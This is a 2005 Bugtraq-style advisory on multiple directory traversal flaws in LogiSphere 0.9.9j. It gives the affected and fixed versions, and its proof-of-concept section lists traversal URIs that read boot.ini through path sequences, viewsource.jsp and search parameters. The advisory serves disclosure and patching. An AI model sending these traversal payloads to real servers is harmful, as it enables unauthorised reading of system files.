LogiSphere Multiple Directory Traversal Vulnerabilities

Bugtraq ID:	15807
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 12 2005 12:00AM
Updated:	Dec 12 2005 12:00AM
Credit:	dr_insane is credited with the discovery of these vulnerabilities.
Vulnerable:	LogiSphere LogiSphere 0.9.9 j
Not Vulnerable:	LogiSphere LogiSphere 1.2

LogiSphere Multiple Directory Traversal Vulnerabilities

LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

LogiSphere Multiple Directory Traversal Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example.com:8080/.../.../.../.../.../.../.../boot.ini
http://www.example.com:8080/../../../../../../../../../boot.ini
http://www.example.com:8080/../../../boot.ini
http://www.example.com:8080/..//..//..//..//..//..//..//boot.ini
http://www.example.com:8080/boot.ini
http://www.example.com:8080/boot.ini
http://www.example.com:8080/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini
http://www.example.com:8080/jsp/jspsamp/jspexamples/viewsource.jsp?source=/../../../../../../../../../boot.ini
http://www.example.com:8080/search?NS-query-pat=..\..\..\..\..\..\..\..\boot.ini

LogiSphere Multiple Directory Traversal Vulnerabilities

Solution:
This issue has been addressed in LogiSphere 1.2.


LogiSphere LogiSphere 0.9.9 j

• LogiSphere LogiSphere 1.2
  http://download.seiz.ch/logisphere/LogiSphere.msi

LogiSphere Multiple Directory Traversal Vulnerabilities

References:

• Advisories Page (dr_insane)
  
• LogiSphere Homepage (LogiSphere)